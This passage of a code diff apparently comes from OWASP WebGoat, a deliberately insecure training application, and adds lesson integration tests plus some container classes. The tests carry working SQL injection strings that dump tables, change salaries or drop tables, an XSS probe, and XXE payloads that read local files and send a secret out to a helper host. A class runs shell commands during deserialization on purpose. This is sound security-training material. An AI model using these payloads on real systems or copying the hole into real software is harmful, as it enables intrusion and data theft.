+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat;
+
+import java.util.Map;
+
+import org.junit.jupiter.api.Test;
+
+/**
+ *
+ * @author Angel Olle Blazquez
+ *
+ */
+
+class SessionManagementIT extends IntegrationTest {
+    
+    private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
+
+
+    @Test
+    void hijackSessionTest() {
+        startLesson("HijackSession");
+        
+        checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
+    }
+}

src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java

@@ -0,0 +1,49 @@
+package org.owasp.webgoat;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.jupiter.api.Test;
+
+public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
+
+    @Test
+    public void runTests() {
+        startLesson("SqlInjectionAdvanced");
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username_reg", "tom' AND substring(password,1,1)='t");
+        params.put("password_reg", "password");
+        params.put("email_reg", "someone@microsoft.com");
+        params.put("confirm_password", "password");
+        checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
+
+        params.clear();
+        params.put("username_login", "tom");
+        params.put("password_login", "thisisasecretfortomonly");
+        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
+
+        params.clear();
+        params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
+        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
+
+        params.clear();
+        params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
+        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
+
+        params.clear();
+        params.put("userid_6b", "passW0rD");
+        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
+
+        params.clear();
+        params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
+        params.put("question_1_solution", "Solution 3: ?");
+        params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
+        params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
+        params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
+        checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
+
+        checkResults("/SqlInjectionAdvanced/");
+    }
+}

src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java

@@ -0,0 +1,78 @@
+package org.owasp.webgoat;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.jupiter.api.Test;
+
+public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
+
+    public static final String sql_2 = "select department from employees where last_name='Franco'";
+    public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
+    public static final String sql_4_drop = "alter table employees drop column phone";
+    public static final String sql_4_add = "alter table employees add column phone varchar(20)";
+    public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
+    public static final String sql_9_account = " ' ";
+    public static final String sql_9_operator = "or";
+    public static final String sql_9_injection = "'1'='1";
+    public static final String sql_10_login_count = "2";
+    public static final String sql_10_userid = "1 or 1=1";
+
+    public static final String sql_11_a = "Smith' or '1' = '1";
+    public static final String sql_11_b = "3SL99A'  or '1'='1";
+
+    public static final String sql_12_a = "Smith";
+    public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
+
+    public static final String sql_13 = "%update% '; drop table access_log ; --'";
+
+    @Test
+    public void runTests() {
+        startLesson("SqlInjection");
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("query", sql_2);
+        checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);
+
+        params.clear();
+        params.put("query", sql_3);
+        checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
+
+        params.clear();
+        params.put("query", sql_4_add);
+        checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
+
+        params.clear();
+        params.put("query", sql_5);
+        checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
+
+        params.clear();
+        params.put("operator", sql_9_operator);
+        params.put("account", sql_9_account);
+        params.put("injection", sql_9_injection);
+        checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);
+
+        params.clear();
+        params.put("login_count", sql_10_login_count);
+        params.put("userid", sql_10_userid);
+        checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);
+
+        params.clear();
+        params.put("name", sql_11_a);
+        params.put("auth_tan", sql_11_b);
+        checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);
+
+        params.clear();
+        params.put("name", sql_12_a);
+        params.put("auth_tan", sql_12_b);
+        checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);
+
+        params.clear();
+        params.put("action_string", sql_13);
+        checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
+
+        checkResults("/SqlInjection/");
+
+    }
+}

src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java

@@ -0,0 +1,70 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.jupiter.api.Test;
+
+import static org.hamcrest.CoreMatchers.containsString;
+
+public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
+
+    @Test
+    public void runTests() {
+        startLesson("SqlInjectionMitigations");
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("field1", "getConnection");
+        params.put("field2", "PreparedStatement prep");
+        params.put("field3", "prepareStatement");
+        params.put("field4", "?");
+        params.put("field5", "?");
+        params.put("field6", "prep.setString(1,\"\")");
+        params.put("field7", "prep.setString(2,\\\"\\\")");
+        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
+
+        params.put("editor", "try {\r\n" +
+                "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
+                "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
+                "    prep.setString(1,\"me\");\r\n" +
+                "    prep.execute();\r\n" +
+                "    System.out.println(conn);   //should output 'null'\r\n" +
+                "} catch (Exception e) {\r\n" +
+                "    System.out.println(\"Oops. Something went wrong!\");\r\n" +
+                "}");
+        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
+
+        params.clear();
+        params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
+        checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
+
+        params.clear();
+        params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
+        checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
+
+        RestAssured.given()
+                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
+                .contentType(ContentType.JSON)
+                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
+                .then()
+                .statusCode(200);
+
+        RestAssured.given()
+                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
+                .contentType(ContentType.JSON)
+                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
+                .then()
+                .statusCode(500)
+                .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
+
+        params.clear();
+        params.put("ip", "104.130.219.202");
+        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
+
+        checkResults();
+    }
+}

src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java

@@ -0,0 +1,72 @@
+package org.owasp.webgoat;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.jupiter.api.Test;
+
+import io.restassured.RestAssured;
+
+public class WebWolfIntegrationTest extends IntegrationTest {
+    
+    @Test
+    public void runTests() throws IOException {
+        startLesson("WebWolfIntroduction");
+        
+        //Assignment 3
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("email", this.getUser()+"@webgoat.org");
+        checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
+        
+        String responseBody = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/WebWolf/mail"))
+                .then()
+                .extract().response().getBody().asString();
+        
+        String uniqueCode = responseBody.replace("%20", " ");
+        uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
+        params.clear();
+        params.put("uniqueCode", uniqueCode);
+        checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
+        
+        //Assignment 4
+        RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())   
+                        .queryParams(params)
+                        .get(url("/WebGoat/WebWolf/landing/password-reset"))                        
+                        .then()
+                        .statusCode(200);
+        RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .queryParams(params)
+        .get(webWolfUrl("/landing"))                        
+        .then()
+        .statusCode(200);
+        responseBody = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/WebWolf/requests"))
+                .then()
+                .extract().response().getBody().asString();
+        assertTrue(responseBody.contains(uniqueCode));
+        params.clear();
+        params.put("uniqueCode", uniqueCode);
+        checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
+        
+        checkResults("/WebWolf");
+        
+    }
+    
+}

src/it/java/org/owasp/webgoat/XSSIntegrationTest.java

@@ -0,0 +1,68 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.jupiter.api.Test;
+
+public class XSSIntegrationTest extends IntegrationTest {
+
+    
+    @Test
+    public void crossSiteScriptingAssignments() {
+        startLesson("CrossSiteScripting");
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("checkboxAttack1", "value");
+        checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
+
+        params.clear();
+        params.put("QTY1", "1");
+        params.put("QTY2", "1");
+        params.put("QTY3", "1");
+        params.put("QTY4", "1");
+        params.put("field1", "<script>alert('XSS+Test')</script>");
+        params.put("field2", "111");
+        checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);
+
+        params.clear();
+        params.put("DOMTestRoute", "start.mvc#test");
+        checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
+        
+        params.clear();
+        params.put("param1", "42");
+        params.put("param2", "24");
+
+        String result =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .header("webgoat-requested-by", "dom-xss-vuln")
+                        .header("X-Requested-With", "XMLHttpRequest")
+                        .formParams(params)
+                        .post(url("/CrossSiteScripting/phone-home-xss"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("output");
+        String secretNumber = result.substring("phoneHome Response is ".length());
+       
+        params.clear();
+        params.put("successMessage", secretNumber);
+        checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
+        
+        params.clear();
+        params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
+        params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
+        params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
+        params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
+        params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
+        checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
+
+        checkResults("/CrossSiteScripting/");
+
+    }
+}

src/it/java/org/owasp/webgoat/XXEIntegrationTest.java

@@ -0,0 +1,99 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+
+public class XXEIntegrationTest extends IntegrationTest {
+
+    private static final String xxe3 = """
+            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
+    private static final String xxe4 = """
+            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
+    private static final String dtd7 = """
+            <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
+    private static final String xxe7 = """
+            <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
+
+    private String webGoatHomeDirectory;
+    private String webWolfFileServerLocation;
+
+    /*
+     * This test is to verify that all is secure when XXE security patch is applied.
+     */
+    @Test
+    public void xxeSecure() throws IOException {
+        startLesson("XXE");
+        webGoatHomeDirectory = webGoatServerDirectory();
+        webWolfFileServerLocation = getWebWolfFileServerLocation();
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/enable-security.mvc"))
+                .then()
+                .statusCode(200);
+        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
+        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
+        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
+    }
+
+    /**
+     * This performs the steps of the exercise before the secret can be committed in the final step.
+     *
+     * @return
+     * @throws IOException
+     */
+    private String getSecret() throws IOException {
+        //remove any left over DTD
+        Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
+        if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
+            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
+        }
+        String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
+        String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
+
+        //upload DTD
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .multiPart("file", "blind.dtd", dtd7String.getBytes())
+                .post(webWolfUrl("/fileupload"))
+                .then()
+                .extract().response().getBody().asString();
+        //upload attack
+        String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
+        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
+
+        //read results from WebWolf
+        String result = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/WebWolf/requests"))
+                .then()
+                .extract().response().getBody().asString();
+        result = result.replace("%20", " ");
+        if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
+            result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
+        }
+        return result;
+    }
+
+    @Test
+    public void runTests() throws IOException {
+        startLesson("XXE", true);
+        webGoatHomeDirectory = webGoatServerDirectory();
+        webWolfFileServerLocation = getWebWolfFileServerLocation();
+        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
+        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
+        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
+        checkResults("xxe/");
+    }
+}

src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java

@@ -0,0 +1,74 @@
+package org.dummy.insecure.framework;
+
+import lombok.extern.slf4j.Slf4j;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.ObjectInputStream;
+import java.io.Serializable;
+import java.time.LocalDateTime;
+
+@Slf4j
+//TODO move back to lesson
+public class VulnerableTaskHolder implements Serializable {
+
+	private static final long serialVersionUID = 2;
+
+	private String taskName;
+	private String taskAction;
+	private LocalDateTime requestedExecutionTime;
+	
+	public VulnerableTaskHolder(String taskName, String taskAction) {
+		super();
+		this.taskName = taskName;
+		this.taskAction = taskAction;
+		this.requestedExecutionTime = LocalDateTime.now();
+	}
+	
+	@Override
+	public String toString() {
+		return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
+				+ requestedExecutionTime + "]";
+	}
+
+	/**
+	 * Execute a task when de-serializing a saved or received object.
+	 * @author stupid develop
+	 */
+	private void readObject( ObjectInputStream stream ) throws Exception {
+        //unserialize data so taskName and taskAction are available
+		stream.defaultReadObject();
+		
+		//do something with the data
+		log.info("restoring task: {}", taskName);
+		log.info("restoring time: {}", requestedExecutionTime);
+		
+		if (requestedExecutionTime!=null && 
+				(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
+				|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
+			//do nothing is the time is not within 10 minutes after the object has been created
+			log.debug(this.toString());
+			throw new IllegalArgumentException("outdated");
+		}
+		
+		//condition is here to prevent you from destroying the goat altogether
+		if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
+				&& taskAction.length() < 22) {
+		log.info("about to execute: {}", taskAction);
+		try {
+            Process p = Runtime.getRuntime().exec(taskAction);
+            BufferedReader in = new BufferedReader(
+                                new InputStreamReader(p.getInputStream()));
+            String line = null;
+            while ((line = in.readLine()) != null) {
+                log.info(line);
+            }
+        } catch (IOException e) {
+            log.error("IO Exception", e);
+        }
+		}
+       
+    }
+	
+}

src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java

@@ -0,0 +1,59 @@
+/**
+ * *************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * for free software projects.
+ */
+
+package org.owasp.webgoat.container;
+
+import org.springframework.security.core.AuthenticationException;
+import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * <p>AjaxAuthenticationEntryPoint class.</p>
+ *
+ * @author zupzup
+ */
+
+public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
+    public AjaxAuthenticationEntryPoint(String loginFormUrl) {
+        super(loginFormUrl);
+    }
+
+    @Override
+    public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException {
+        if (request.getHeader("x-requested-with") != null) {
+            response.sendError(401, authException.getMessage());
+        } else {
+            super.commence(request, response, authException);
+        }
+    }
+}

src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java

@@ -0,0 +1,110 @@
+
+/**
+ * ************************************************************************************************
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * <p>
+ *
+ * @author WebGoat
+ * @version $Id: $Id
+ * @since December 12, 2015
+ */
+
+package org.owasp.webgoat.container;
+
+import lombok.extern.slf4j.Slf4j;
+import org.asciidoctor.Asciidoctor;
+import org.asciidoctor.extension.JavaExtensionRegistry;
+import org.owasp.webgoat.container.asciidoc.OperatingSystemMacro;
+import org.owasp.webgoat.container.asciidoc.UsernameMacro;
+import org.owasp.webgoat.container.asciidoc.WebGoatTmpDirMacro;
+import org.owasp.webgoat.container.asciidoc.WebGoatVersionMacro;
+import org.owasp.webgoat.container.asciidoc.WebWolfMacro;
+import org.owasp.webgoat.container.asciidoc.WebWolfRootMacro;
+import org.springframework.core.io.ResourceLoader;
+import org.thymeleaf.IEngineConfiguration;
+import org.thymeleaf.templateresolver.FileTemplateResolver;
+import org.thymeleaf.templateresource.ITemplateResource;
+import org.thymeleaf.templateresource.StringTemplateResource;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.StringWriter;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
+import static org.asciidoctor.Asciidoctor.Factory.create;
+
+/**
+ * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
+ * <p>
+ * <code>
+ * <div th:replace="doc:AccessControlMatrix_plan.adoc"></div>
+ * </code>
+ */
+@Slf4j
+public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
+
+    private static final Asciidoctor asciidoctor = create();
+    private static final String PREFIX = "doc:";
+    private final ResourceLoader resourceLoader;
+
+    public AsciiDoctorTemplateResolver(ResourceLoader resourceLoader) {
+        this.resourceLoader = resourceLoader;
+        setResolvablePatterns(Set.of(PREFIX + "*"));
+    }
+
+    @Override
+    protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
+        var templateName = resourceName.substring(PREFIX.length());
+
+        try (InputStream is = resourceLoader.getResource("classpath:/" + templateName).getInputStream()) {
+            JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
+            extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
+            extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
+            extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
+            extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
+            extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
+            extensionRegistry.inlineMacro("username", UsernameMacro.class);
+
+            StringWriter writer = new StringWriter();
+            asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
+            return new StringTemplateResource(writer.getBuffer().toString());
+        } catch (IOException e) {
+            return new StringTemplateResource("<div>Unable to find documentation for: " + templateName + " </div>");
+        }
+    }
+
+    private Map<String, Object> createAttributes() {
+        Map<String, Object> attributes = new HashMap<>();
+        attributes.put("source-highlighter", "coderay");
+        attributes.put("backend", "xhtml");
+        attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
+
+        Map<String, Object> options = new HashMap<>();
+        options.put("attributes", attributes);
+
+        return options;
+    }
+}

src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java

@@ -0,0 +1,68 @@
+package org.owasp.webgoat.container;
+
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.flywaydb.core.Flyway;
+import org.owasp.webgoat.container.lessons.LessonScanner;
+import org.owasp.webgoat.container.service.RestartLessonService;
+import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Primary;
+import org.springframework.jdbc.datasource.DriverManagerDataSource;
+
+import javax.sql.DataSource;
+import java.util.Map;
+import java.util.function.Function;
+
+@Configuration
+@RequiredArgsConstructor
+@Slf4j
+public class DatabaseConfiguration {
+
+    private final DataSourceProperties properties;
+    private final LessonScanner lessonScanner;
+
+    @Bean
+    @Primary
+    public DataSource dataSource() {
+        DriverManagerDataSource dataSource = new DriverManagerDataSource();
+        dataSource.setDriverClassName(properties.getDriverClassName());
+        dataSource.setUrl(properties.getUrl());
+        dataSource.setUsername(properties.getUsername());
+        dataSource.setPassword(properties.getPassword());
+        return dataSource;
+    }
+
+    /**
+     * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users and 1 for lesson
+     * specific tables we use. This way we clean the data in the lesson database quite easily see {@link RestartLessonService#restartLesson()}
+     * for how we clean the lesson related tables.
+     */
+    @Bean(initMethod = "migrate")
+    public Flyway flyWayContainer() {
+        return Flyway
+                .configure()
+                .configuration(Map.of("driver", properties.getDriverClassName()))
+                .dataSource(dataSource())
+                .schemas("container")
+                .locations("db/container")
+                .load();
+    }
+
+    @Bean
+    public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
+        return schema -> Flyway
+                .configure()
+                .configuration(Map.of("driver", properties.getDriverClassName()))
+                .schemas(schema)
+                .dataSource(lessonDataSource)
+                .locations("lessons")
+                .load();
+    }
+
+    @Bean
+    public LessonDataSource lessonDataSource() {
+        return new LessonDataSource(dataSource());
+    }
+}

src/main/java/org/owasp/webgoat/container/HammerHead.java

@@ -0,0 +1,57 @@
+package org.owasp.webgoat.container;
+
+import lombok.AllArgsConstructor;
+import org.owasp.webgoat.container.session.Course;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.servlet.ModelAndView;
+
+/**
+ * *************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * for free software projects.
+ *
+ * @author Jeff Williams
+ * @author Bruce Mayhew
+ * @author Nanne Baars
+ * @version $Id: $Id
+ * @since October 28, 2003
+ */
+@Controller
+@AllArgsConstructor
+public class HammerHead {
+
+    private final Course course;
+
+    /**
+     * Entry point for WebGoat, redirects to the first lesson found within the course.
+     */
+    @RequestMapping(path = "/attack", method = {RequestMethod.GET, RequestMethod.POST})
+    public ModelAndView attack() {
+        return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
+    }
+}

src/main/java/org/owasp/webgoat/container/LessonDataSource.java

@@ -0,0 +1,70 @@
+package org.owasp.webgoat.container;
+
+import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
+import org.springframework.jdbc.datasource.ConnectionProxy;
+
+import javax.sql.DataSource;
+import java.io.PrintWriter;
+import java.lang.reflect.Proxy;
+import java.sql.Connection;
+import java.sql.SQLException;
+import java.sql.SQLFeatureNotSupportedException;
+import java.util.logging.Logger;
+
+public class LessonDataSource implements DataSource {
+
+    private final DataSource originalDataSource;
+
+    public LessonDataSource(DataSource dataSource) {
+        this.originalDataSource = dataSource;
+    }
+
+    @Override
+    public Connection getConnection() throws SQLException {
+        var targetConnection = originalDataSource.getConnection();
+        return (Connection) Proxy.newProxyInstance(
+                ConnectionProxy.class.getClassLoader(),
+                new Class[]{ConnectionProxy.class},
+                new LessonConnectionInvocationHandler(targetConnection));
+    }
+
+    @Override
+    public Connection getConnection(String username, String password) throws SQLException {
+        return originalDataSource.getConnection(username, password);
+    }
+
+    @Override
+    public PrintWriter getLogWriter() throws SQLException {
+        return originalDataSource.getLogWriter();
+    }
+
+    @Override
+    public void setLogWriter(PrintWriter out) throws SQLException {
+        originalDataSource.setLogWriter(out);
+    }
+
+    @Override
